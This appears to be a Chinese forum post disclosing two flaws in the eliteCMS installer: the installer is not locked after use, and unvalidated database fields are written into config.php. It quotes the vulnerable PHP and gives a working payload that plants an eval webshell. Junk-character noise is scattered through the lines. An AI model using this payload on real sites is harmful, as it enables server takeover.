eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

% W0 L% D! F" {1 n: C另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
& n, h4 c6 z3 U/ D' G& W1 E; P5 A
...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
9 z, _" Y+ B* C2 i6 w" m& N    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
$ z: Y- d  w4 r    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
) y) \- i; q1 O$ R+ F- b. }    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
1 B! K# y8 b. ^$ C1 S% d    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
. @  H- x$ k3 o2 h! V& }3 \    $write .= "} \n";
    $write .= "?>\n";
8 k8 \$ Y5 N! ]8 @
  @1 f) x' a9 Y. n    $writer = fopen($file, 'w');
...

% X, h7 V% P  T9 F7 y% z. `7 W9 w在看代码：
5 W7 g  o, P9 g
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
, `. ^8 h2 s; l8 T  F$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
" u9 a5 z: t2 o! b+ V3 u+ Q1 d3 s4 R/ F$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
# e/ U, Z  s+ `- f
取值未作任何验证
/ R: W0 k; K& l: h0 A如果将数据库名POST数据：
+ Z5 n( r6 D% {# l: D
"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php